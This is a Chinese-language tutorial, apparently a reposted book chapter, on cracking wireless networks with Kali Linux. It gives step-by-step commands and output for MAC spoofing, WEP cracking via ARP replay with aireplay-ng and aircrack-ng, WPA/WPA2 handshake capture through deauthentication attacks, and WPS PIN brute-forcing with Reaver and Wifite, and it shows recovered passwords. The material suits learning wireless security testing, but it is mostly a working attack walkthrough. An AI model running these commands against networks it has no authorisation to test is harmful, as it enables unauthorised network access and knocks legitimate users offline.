Kali-linux使用Aircrack-ng工具破解無線網絡


Aircrack-ng是一款基於破解無線802.11協議的WEP及WPA-PSK加密的工具。該工具主要用了兩種攻擊方式進行WEP破解。一種是FMS攻擊,該攻擊方式是以發現該WEP漏洞的研究人員名字(Scott Fluhrer、Itsik Mantin及Adi Shamir)所命名;另一種是Korek攻擊,該攻擊方式是通過統計進行攻擊的,並且該攻擊的效率要遠高於FMS攻擊。本節將介紹使用Aircrack-ng破解無線網絡。

9.2.1 破解WEP加密的無線網絡

Wired Equivalent Privacy或WEP(有線等效加密)協議是對在兩台設備間無線傳輸的數據進行加密的方式,用以防止非法用戶竊聽或侵入無線網絡。不過密碼分析學家已經找出WEP好幾個弱點,因此在2003年被Wi-Fi Protected Access(WPA)淘汰,又在2004年由完整的IEEE 802.11i標准(又稱為WPA2)所取代。本小節將介紹破解WEP加密的無線網絡。

使用Aircrack破解使用WEP加密的無線網絡。具體操作步驟如下所示。

(1)使用airmon-ng命令查看當前系統中的無線網絡接口。執行命令如下所示:

輸出的信息表示,當前系統中存在一個無線網絡接口。從輸出結果的Interface列,可以看到當前系統的無線接口為wlan0。

(2)修改wlan0接口的MAC地址。因為MAC地址標識主機所在的網絡,修改主機的MAC地址可以隱藏真實的MAC地址。在修改MAC地址之前,需要停止該接口。執行命令如下所示:

或者:

root@kali:~# ifconfig wlan0 down

執行以上命令后,wlan0接口則停止。此時就可以修改MAC地址了,執行命令如下 所示:

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0
Permanent MAC: 00:c1:40:76:05:6c (unknown)
Current   MAC: 00:c1:40:76:05:6c (unknown)
New       MAC: 00:11:22:33:44:55 (Cimsys Inc)

輸出的信息顯示了wlan0接口永久的MAC地址、當前的MAC地址及新的MAC地址。可以看到wlan1接口的MAC地址已經被修改。

(3)重新啟動wlan0。執行命令如下所示:

輸出的信息顯示了無線網卡wlan0的芯片及驅動類型。例如,當前系統的無線網卡芯片為Ralink RT2870/3070;默認驅動為rt2800usb,並顯示監聽模式被啟用,映射網絡接口為mon0。

有時候使用airmon-ng start wlan0命令啟用無線網卡時,可能會出現SIOCSIFFLAGS: Operation not possible due to RF-kill錯誤。這是因為Linux下有一個軟件RF-kill,該軟件為了省電會將不使用的無線設備(如WIFI和Buletooth)自動關閉。當用戶使用這些設備時,RF-kill不會智能的自動打開,需要手動解鎖。用戶可以執行rfkill list命令查看所有設備,如下所示:

root@kali:~# rfkill list
0: ideapad_wlan: Wireless LAN
Soft blocked: yes
Hard blocked: no
1: phy0: Wireless LAN
Soft blocked: yes
Hard blocked: no

該列表中前面的編號,表示的是設備的索引號。用戶可以通過指定索引號,停止或啟用某個設備。如啟用所有設備,執行如下所示的命令:

root@kali:~# rfkill unblock all

執行以上命令后,沒有任何信息輸出。以上命令表示,解除所有被關閉的設備。

(4)使用airodump命令定位附近所有可用的無線網絡。執行命令如下所示:

以上輸出的信息顯示了附近所有可用的無線網絡。當找到用戶想要攻擊的無線路由器時,按下Ctrl+C鍵停止搜索。

從輸出的信息中看到有很多參數。詳細介紹如下所示。

  • BSSID:無線的IP地址。
  • PWR:網卡報告的信號水平。
  • Beacons:無線發出的通告編號。
  • Data:被捕獲到的數據分組的數量,包括廣播分組。

  • /s:過去10秒鍾內每秒捕獲數據分組的數量。

  • CH:信道號(從Beacons中獲取)。
  • MB:無線所支持的最大速率。如果MB=11,它是802.11b;如果MB=22,它是802.11b+;如果更高就是802.11g。后面的點(高於54之后)表明支持短前導碼。
  • ENC:使用的加密算法體系。OPN表示無加密。WEP?表示WEP或者WPA/WPA2模式,WEP(沒有問號)表示靜態或動態WEP。如果出現TKIP或CCMP,那么就是WPA/WPA2。
  • CIPHER:檢測到的加密算法,是CCMP、WRAAP、TKIP、WEP和WEP104中的一個。典型的來說(不一定),TKIP與WPA結合使用,CCMP與WPA2結合使用。如果密鑰索引值大於0,顯示為WEP40。標准情況下,索引0-3是40bit,104bit應該是0。
  • AUTH:使用的認證協議。常用的有MGT(WPA/WPA2使用獨立的認證服務器,平時我們常說的802.1x、radius和eap等)、SKA(WEP的共享密鑰)、PSK(WPA/WPA2的預共享密鑰)或者OPN(WEP開放式)。
  • ESSID:指所謂的SSID號。如果啟用隱藏的SSID的話,它可以為空。這種情況下,airodump-ng試圖從proberesponses和associationrequests中獲取SSID。
  • STATION:客戶端的MAC地址,包括連上的和想要搜索無線來連接的客戶端。如果客戶端沒有連接上,就在BSSID下顯示“notassociated”。
  • Rate:表示傳輸率。
  • Lost:在過去10秒鍾內丟失的數據分組,基於序列號檢測。它意味着從客戶端來的數據丟包,每個非管理幀中都有一個序列號字段,把剛接收到的那個幀中的序列號和前一個幀中的序列號一減就能知道丟了幾個包。
  • Frames:客戶端發送的數據分組數量。
  • Probe:被客戶端查探的ESSID。如果客戶端正試圖連接一個無線,但是沒有連接上,那么就顯示在這里。

(5)使用airodump-ng捕獲指定BSSID的文件。執行命令如下所示。

airodump-ng命令常用的選項如下所示。

  • -c:指定選擇的頻道。
  • -w:指定一個文件名,用於保存捕獲的數據。
  • -bssid:指定攻擊的BSSID。

下面將Bssid為14:E6:E4:AC:FB:20的無線路由器作為攻擊目標。執行命令如下所示:

從輸出的信息中可以看到ESSID為Test無線路由器的#Data一直在變化,表示有客戶端正與無線發生數據交換。以上命令執行成功后,會生成一個名為wirelessattack-01.ivs的文件,而不是wirelessattack.ivs。這是因為airodump-ng工具為了方便后面破解的時候調用,所有對保存文件按順序編了號,於是就多了-01這樣的序號,以此類推。在進行第二次攻擊時,若使用同樣文件名wirelessattack保存的話,就會生成名為wirelessattack-02.ivs文件。

(6)打開一個新的終端窗口,運行aireplay命令。aireplay命令的語法格式如下所示:

aireplay-ng -1 0 -a [BSSID] -h [our Chosen MAC address] -e [ESSID] [Interface]
aireplay-ng -dauth 1 -a [BSSID] -c [our Chosen MAC address] [Interface]

啟動aireplay,執行命令如下所示:

root@kali:~# aireplay-ng -1 0 -a 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 -e Test mon0
The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
  ifconfig mon0 hw ether 00:11:22:33:44:55
17:25:17 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
17:25:17 Sending Authentication Request (Open System) [ACK]
17:25:17 Switching to shared key authentication
17:25:19 Sending Authentication Request (Shared Key) [ACK]
17:25:19 Switching to shared key authentication
17:25:21 Sending Authentication Request (Shared Key) [ACK]
17:25:21 Switching to shared key authentication
17:25:23 Sending Authentication Request (Shared Key) [ACK]
17:25:23 Switching to shared key authentication
17:25:25 Sending Authentication Request (Shared Key) [ACK]
17:25:25 Switching to shared key authentication
17:25:27 Sending Authentication Request (Shared Key) [ACK]
17:25:27 Switching to shared key authentication
17:25:29 Sending Authentication Request (Shared Key) [ACK]
17:25:29 Switching to shared key authentication

(7)使用aireplay發送一些流量給無線路由器,以至於能夠捕獲到數據。語法格式如下所示:

aireplay-ng 3 -b [BSSID] -h [Our chosen MAC address] [Interface]

執行命令如下所示:

root@kali:~# aireplay-ng -3 -b 14:E6:E4:AC:FB:20 -h 00:11:22:33:44:55 mon0
The interface MAC (00:C1:40:76:05:6C) doesn't match the specified MAC (-h).
  ifconfig mon0 hw ether 00:11:22:33:44:55
17:26:54 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
Saving ARP requests in replay_arp-0515-172654.cap
You should also start airodump-ng to capture replies.
Notice: got a deauth/disassoc packet. Is the source MAC associated ?
Read 1259 packets (got 1 ARP requests and 189 ACKs), sent 198 packets…(499 pps
Read 1547 packets (got 1 ARP requests and 235 ACKs), sent 248 packets…(499 pps
Read 1843 packets (got 1 ARP requests and 285 ACKs), sent 298 packets…(499 pps
Read 2150 packets (got 1 ARP requests and 333 ACKs), sent 348 packets…(499 pps
Read 2446 packets (got 1 ARP requests and 381 ACKs), sent 398 packets…(499 pps
Read 2753 packets (got 1 ARP requests and 430 ACKs), sent 449 packets…(500 pps
Read 3058 packets (got 1 ARP requests and 476 ACKs), sent 499 packets…(500 pps
Read 3367 packets (got 1 ARP requests and 525 ACKs), sent 548 packets…(499 pps
Read 3687 packets (got 1 ARP requests and 576 ACKs), sent 598 packets…(499 pps
Read 4001 packets (got 1 ARP requests and 626 ACKs), sent 649 packets…(500 pps
Read 4312 packets (got 1 ARP requests and 674 ACKs), sent 699 packets…(500 pps
Read 4622 packets (got 1 ARP requests and 719 ACKs), sent 749 packets…(500 pps
Read 4929 packets (got 1 ARP requests and 768 ACKs), sent 798 packets…(499 pps
Read 5239 packets (got 1 ARP requests and 817 ACKs), sent 848 packets…(499 pps

輸出的信息就是使用ARP Requests的方式來讀取ARP請求報文的過程,此時回到airodump-ng界面查看,可以看到Test的Frames欄的數字在飛速的遞增。在抓取的無線數據報文達到了一定數量后,一般都是指IVsX值達到2萬以上時,就可以開始破解,若不能成功就等待數據包文繼續抓取,然后多嘗試幾次。

(8)使用Aircrack破解密碼。執行命令如下所示:

從輸出的結果中可以看到KEY FOUND,表示密碼已經找到,為abcde。

9.2.2 破解WPA/WPA2無線網絡

WPA全名為Wi-Fi Protected Access,有WPA和WPA2兩個標准。它是一種保護無線電腦網絡安全的協議。對於啟用WPA/WPA2加密的無線網絡,其攻擊和破解步驟及攻擊是完全一樣的。不同的是,在使用airodump-ng進行無線探測的界面上,會提示為WPA CCMP PSK。當使用aireplay-ng進行攻擊后,同樣獲取到WPA握手數據包及提示;在破解時需要提供一個密碼字典。下面將介紹破解WPA/WPA2無線網絡的方法。

使用aircrack-ng破解WPA/WPA2無線網絡的具體操作步驟如下所示。

(1)查看無線網絡接口。執行命令如下所示:

(2)停止無線網絡接口。執行命令如下所示:

(3)修改無線網卡MAC地址。執行命令如下所示:

root@kali:~# macchanger --mac 00:11:22:33:44:55 wlan0
Permanent MAC: 00:c1:40:76:05:6c (unknown)
Current   MAC: 00:c1:40:76:05:6c (unknown)
New       MAC: 00:11:22:33:44:55 (Cimsys Inc)

(4)啟用無線網絡接口。執行命令如下所示:

(5)捕獲數據包。執行命令如下所示:

(6)對無線路由器Test進行Deauth攻擊。執行命令如下所示:

root@kali:~# aireplay-ng --deauth 1 -a 14:E6:E4:AC:FB:20 -c 00:11:22:33: 44:55 mon0
17:50:27 Waiting for beacon frame (BSSID: 14:E6:E4:AC:FB:20) on channel 1
17:50:30 Sending 64 directed DeAuth. STMAC: [00:11:22:33:44:55] [12|59 ACKs]

(7)破解密碼。執行命令如下所示:

從輸出的信息中可以看到無線路由器的密碼已經成功破解。在KEY FOUND提示的右側可以看到密碼已被破解出,為daxueba,破解速度約為500.88 k/s。

9.2.3 攻擊WPS(Wi-Fi Proteced Setup)

WPS是由Wi-Fi聯盟所推出的全新Wi-Fi安全防護設定標准。該標准主要是為了解決無線網絡加密認證設定的步驟過於繁雜的弊病。因為通常用戶往往會因為設置步驟太麻煩,以至於不做任何加密安全設定,從而引起許多安全上的問題。所以很多人使用WPS設置無線設備,可以通過個人識別碼(PIN)或按鈕(PBC)取代輸入一個很長的密碼短語。當開啟該功能后,攻擊者就可以使用暴力攻擊的方法來攻擊WPS。本小節將介紹使用各種工具攻擊WPS。

現在大部分路由器上都支持WPS功能。以前路由器有專門的WPS設置,現在的路由器使用QSS功能取代了。這里以TP-LINK型號為例,介紹設置WPS功能,如圖9.15所示。如果使用WPS的PBC方式,只需要按下路由器上的QSS/RESET按鈕就可以了。

圖9.15 設置WPS

從該界面可以看到QSS功能已開啟,可以看到當前的PIN碼是04588306。這里可以重新生成新的PIN碼,或者恢復初始PIN碼。

【實例9-1】使用Reaver破解WPS。具體操作步驟如下所示。

(1)插入無線網卡,使用ifconfig命令查看無線網卡是否已經正確插入。執行命令如下所示:

root@Kali:~# ifconfig
eth0  Link encap:Ethernet HWaddr 00:19:21:3f:c3:e5
      inet addr:192.168.5.4 Bcast:192.168.5.255 Mask:255.255.255.0
      inet6 addr: fe80::219:21ff:fe3f:c3e5/64 Scope:Link
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:10541 errors:0 dropped:0 overruns:0 frame:0
      TX packets:7160 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:4205470 (4.0 MiB) TX bytes:600691 (586.6 KiB)
lo    Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:65536 Metric:1
      RX packets:296 errors:0 dropped:0 overruns:0 frame:0
      TX packets:296 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:17760 (17.3 KiB) TX bytes:17760 (17.3 KiB)

從輸出的信息中可以看到,只有一個以太網接口eth0。這是因為無線網卡可能沒有啟動,首先來啟動該無線網卡。執行命令如下所示:

root@Kali:~# ifconfig wlan0 up

執行以上命令后,沒有任何信息輸出。此時再次執行ifconfig命令,查看無線網絡是否已啟動,如下所示:

root@Kali:~# ifconfig
......
wlan0  Link encap:Ethernet HWaddr 08:10:76:49:c3:cd
       UP BROADCAST MULTICAST MTU:1500 Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

看到以上輸出信息,則表示無線網卡已成功啟動,其網絡接口為wlan0。

(2)啟動無線網卡為監聽模式。執行命令如下所示:

從輸出的信息中,可以看到monitor mode enabled on mon0,表示無線網卡已啟動監聽模式。在以上信息中,還可以看到無線網卡的芯片級驅動類型。其中,該網卡的芯片為Ralink,默認驅動為rt2800usb。

注意:執行以上命令啟動監聽模式,一定要確定正確識別無線網卡的芯片和驅動。否則,該無線網卡可能導致攻擊失敗。

(3)攻擊WPS。執行命令如下所示:

root@kali:~# reaver -i mon0 -b 14:E6:E4:AC:FB:20 -vv
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@ tacnetsol.com>
[+] Waiting for beacon from 14:E6:E4:AC:FB:20
[+] Switching mon0 to channel 1
[+] Switching mon0 to channel 2
[+] Switching mon0 to channel 3
[+] Switching mon0 to channel 11
[+] Switching mon0 to channel 4
[+] Switching mon0 to channel 5
[+] Switching mon0 to channel 6
[+] Switching mon0 to channel 7
[+] Associated with 8C:21:0A:44:09:F8 (ESSID: yztxty)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
......

從以上輸出信息中,可以看到正在等待連接到14:E6:E4:AC:FB:20無線路由器的信號。並且通過發送PIN信息,獲取密碼。

如果沒有路由器沒有開啟WPS的話,將會出現如下所示的信息:

[!] WARNING: Failed to associate with 14:E6:E4:AC:FB:20 (ESSID: XXXX)

Fern WiFi Cracker是一個非常不錯的工具,用來測試無線網絡安全。后面將會介紹使用該工具,攻擊Wi-Fi網絡。這里首先介紹使用Fern WiFi Cracker工具來攻擊WPS。

【實例9-2】使用Wifite攻擊WPS。具體操作步驟如下所示。

(1)啟動Wifite工具,並指定使用common.txt密碼字典。在命令行終端執行如下所示的命令:

root@kali:~# wifite -dict common.txt

執行以上命令后,將顯示如下所示的信息:

以上信息顯示了WiFite工具的版本信息,支持平台,並且開始掃描無線網絡。當掃描到想要破解的無線網絡時,按下CTRL+C組合鍵停止掃描。

(2)停止掃描無線網絡,將顯示如下所示的信息:

從以上輸出信息中,可以看到掃描到五個無線接入點和三個客戶端。在輸出信息中,共顯示了7列。分別表示無線接入點編號、ESSID號、信道、加密方式、電功率、是否開啟wps和客戶端。如果僅有一個客戶端連接到無線接入點,則CLIENT列顯示是client。如果有多個客戶端連接的話,則顯示是clients。

(3)此時,選擇要攻擊的無線接入點。這里選擇第五個無線接入點,輸入“1”。然后按下回車鍵將開始攻擊,顯示信息如下所示:

[+] select target numbers (1-5) separated by commas, or 'all': 1
[+] 1 target selected.
[0:00:00] initializing WPS PIN attack on yzty (EC:17:2F:46:70:BA)
 [0:11:00] WPS attack, 0/0 success/ttl,
 [!] unable to complete successful try in 660 seconds
 [+] skipping yzty
 [0:08:20] starting wpa handshake capture on "yzty"
 [0:08:11] new client found: 18:DC:56:F0:62:AF
 [0:08:09] listening for handshake…
 [0:00:11] handshake captured! saved as "hs/yzty_EC-17-2F-46-70-BA.cap"
 [+] 2 attacks completed:
 [+] 1/2 WPA attacks succeeded
         yzty (EC:17:2F:46:70:BA) handshake captured
         saved as hs/yzty_EC-17-2F-46-70-BA.cap
 [+] starting WPA cracker on 1 handshake
 [0:00:00] cracking yzty with aircrack-ng
 [+] cracked yzty (EC:17:2F:46:70:BA)!
 [+] key:  "huolong5"
[+] quitting

從輸出的信息中,可以看到破解出yzty無線設備的密碼為huolong5。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM